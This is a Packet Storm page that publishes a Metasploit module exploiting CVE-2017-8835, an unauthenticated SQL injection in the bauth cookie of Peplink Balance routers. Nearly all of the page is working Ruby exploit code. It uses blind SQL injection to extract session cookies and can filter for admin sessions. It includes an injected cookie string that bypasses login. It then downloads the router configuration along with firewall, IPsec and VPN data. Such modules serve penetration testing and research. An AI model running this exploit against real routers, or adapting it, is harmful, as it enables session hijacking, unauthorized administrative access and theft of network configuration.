what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Peplink Balance Routers SQL Injection

Peplink Balance Routers SQL Injection
Posted Aug 31, 2024
Authored by Redouane Niboucha, X41 D-Sec GmbH | Site metasploit.com

Firmware versions up to 7.0.0-build1904 of Peplink Balance routers are affected by an unauthenticated SQL injection vulnerability in the bauth cookie, successful exploitation of the vulnerability allows an attacker to retrieve the cookies of authenticated users, bypassing the web portal authentication. By default, a session expires 4 hours after login (the setting can be changed by the admin), for this reason, the module attempts to retrieve the most recently created sessions.

tags | exploit, web, sql injection
advisories | CVE-2017-8835
SHA-256 | b41d992081cc2b6eb2a8f48d7b8d7bae6acdc73882499f0a6250e5da83246835

Peplink Balance Routers SQL Injection

Change Mirror Download
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::SQLi

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Peplink Balance routers SQLi',
'Description' => %q{
Firmware versions up to 7.0.0-build1904 of Peplink Balance routers are affected by an unauthenticated
SQL injection vulnerability in the bauth cookie, successful exploitation of the vulnerability allows an
attacker to retrieve the cookies of authenticated users, bypassing the web portal authentication.

By default, a session expires 4 hours after login (the setting can be changed by the admin), for this
reason, the module attempts to retrieve the most recently created sessions.
},
'Author' => [
'X41 D-Sec GmbH <info@x41-dsec.de>', # Original Advisory
'Redouane NIBOUCHA <rniboucha[at]yahoo.fr>' # Metasploit module
],
'License' => MSF_LICENSE,
'Platform' => %w[linux],
'References' => [
[ 'EDB', '42130' ],
[ 'CVE', '2017-8835' ],
[ 'URL', 'https://gist.github.com/red0xff/c4511d2f427efcb8b018534704e9607a' ]
],
'Targets' => [['Wildcard Target', {}]],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The target URI', '/']),
OptBool.new('BypassLogin', [true, 'Just bypass login without trying to leak the cookies of active sessions', false]),
OptBool.new('EnumUsernames', [true, 'Retrieve the username associated with each session', false]),
OptBool.new('EnumPrivs', [true, 'Retrieve the privilege associated with each session', false]),
OptInt.new('LimitTries', [false, 'The max number of sessions to try (from most recent), set to avoid checking expired ones needlessly', nil]),
OptBool.new('AdminOnly', [true, 'Only attempt to retrieve cookies of privilegied users (admins)', false])
]
)
end

def perform_sqli
# NOTE: using run_sql because there is a limit on the length of our queries
# will work only if we remove the casts, NULL value handling etc.
digit_range = ('0'..'9')
bit_range = ('0'..'1')
alphanumeric_range = ('0'..'z')
session_count = @sqli.run_sql("select count(1) from sessionsvariables where name='expire'").to_i
print_status "There are #{session_count} (possibly expired) sessions"

# limit the number of session cookies to retrieve if the option is set
session_count = datastore['LimitTries'] if datastore['LimitTries'] && datastore['LimitTries'] < session_count

session_ids = session_count.times.map do |i|
id = @sqli.run_sql('select id from sessionsvariables ' \
"where name='expire' order by " \
"cast(value as int) desc limit 1 offset #{i}", output_charset: digit_range).to_i
# if AdminOnly, check if is an admin
if datastore['AdminOnly']
is_rwa = @sqli.run_sql("select count(1)>0 from sessionsvariables where id=#{id} and name='rwa' and value='1'", output_charset: bit_range).to_i
is_rwa > 0 ? id : nil
else
id
end
end.compact

print_status("After filtering out non-admin sessions: #{session_ids.count} sessions remain") if datastore['AdminOnly']

if session_ids.count == 0
print_error('No active authenticated sessions found, try again after a user has authenticated')
return
end

print_status('Trying the ids from the most recent logins')

cookies = [ ]

session_ids.each_with_index do |id, idx|
cookie = @sqli.run_sql("select sessionid from sessions where id=#{id}", output_charset: alphanumeric_range)
cookies << cookie
if datastore['EnumUsernames']
username = @sqli.run_sql("select value from sessionsvariables where name='username' and id=#{id}")
end

if datastore['EnumPrivs']
is_rwa = @sqli.run_sql("select count(1)>0 from sessionsvariables where id=#{id} and name='rwa' and value='1'", output_charset: bit_range).to_i
end
username_msg = username ? ", username = #{username}" : ''
is_admin_msg = if is_rwa
", with #{is_rwa > 0 ? 'read/write' : 'read-only'} permissions"
else
''
end
print_good "Found cookie #{cookie}#{username_msg}#{is_admin_msg}"
break if session_count == idx + 1
end
cookies
end

# returns false if data has an error message, the data otherwise
def parse_and_check_for_errors(data)
xml = ::Nokogiri::XML(data)
if xml.errors.empty? && data.include?('errorMessage')
print_error xml.css('errorMessage')[0].text
false
else
xml.errors.empty? ? xml : data
end
end

def get_data_by_option(cookie, option)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'MANGA', 'data.cgi'),
'method' => 'GET',
'cookie' => "bauth=#{cookie}",
'vars_get' => {
'option' => option
}
})
return '' if option == 'noop' && res.code == 200 && parse_and_check_for_errors(res.body)

if res.code == 200
print_status "Retrieving #{option}"
xml = parse_and_check_for_errors(res.body)
if xml
print_xml_data(xml)
path = store_loot("peplink #{option}", 'text/xml', datastore['RHOST'], res.body)
print_good "Saved at #{path}"
xml
else
false
end
else
print_error "Could not retrieve #{option}"
false
end
end

def retrieve_data(cookie)
data_options = %w[fhlicense_info sysinfo macinfo hostnameinfo uptime client_info hubport fhstroute ipsec wan_summary firewall cert_info mvpn_summary]
# in case of a VPN being configured, the option cert_pem_details can leak private keys? (option=cert_pem_details&pem=)
# might be interesting: eqos_priority, for QoS
# first, attempt downloading the router configuration
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'MANGA', 'download_config.cgi'),
'method' => 'GET',
'cookie' => "bauth=#{cookie}"
})
if res.code == 200
# router configuration consists of a 24-byte header, and .tar.gz compressed data
config = res.body
if parse_and_check_for_errors(config)
path = store_loot('peplink configuration tar gz', 'application/binary', datastore['RHOST'], config)
print_good "Retrieved config, saved at #{path}"
end
else
print_error 'Could not retrieve the router configuration file'
end

data_options.each do |option|
get_data_by_option(cookie, option)
end
end

def print_xml_data(xml)
nodes = [ [xml, 0] ]
until nodes.empty?
node, nesting = nodes.pop
if node.is_a?(Nokogiri::XML::Document)
node.children.each do |child|
nodes.push([child, nesting + 1])
end
elsif node.is_a?(Nokogiri::XML::Element)
node_name = node.name
if node.attributes && !node.attributes.empty?
node_name += " {#{node.attributes.map { |(_n, attr)| "#{attr.name}=#{attr.value}" }.join(',')}}"
end
vprint_good "\t" * nesting + node_name
node.children.each do |child|
nodes.push([child, nesting + 1])
end
elsif node.is_a?(Nokogiri::XML::Text)
vprint_good "\t" * nesting + node.content
end
end
end

def check
@sqli = create_sqli(dbms: SQLitei::BooleanBasedBlind) do |payload|
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'MANGA', 'admin.cgi'),
'method' => 'GET',
'cookie' => "bauth=' or #{payload}--"
})
return Exploit::CheckCode::Unknown("Unable to connect to #{target_uri.path}") unless res

res.get_cookies.empty? # no Set-Cookie header means the session cookie is valid
end
if @sqli.test_vulnerable
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end

def run
unless check == Exploit::CheckCode::Vulnerable
print_error 'Target does not seem to be vulnerable'
return
end
print_good 'Target seems to be vulnerable'
if datastore['BypassLogin']
cookies = [
"' or id IN (select s.id from sessions as s " \
"left join sessionsvariables as v on v.id=s.id where v.name='rwa' and v.value='1')--"
]
else
cookies = perform_sqli
end
admin_cookie = cookies.detect do |c|
print_status "Checking for admin cookie : #{c}"
get_data_by_option(c, 'noop')
end
if admin_cookie.nil?
print_error 'No valid admin cookie'
return
end
retrieve_data(admin_cookie)
end
end
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close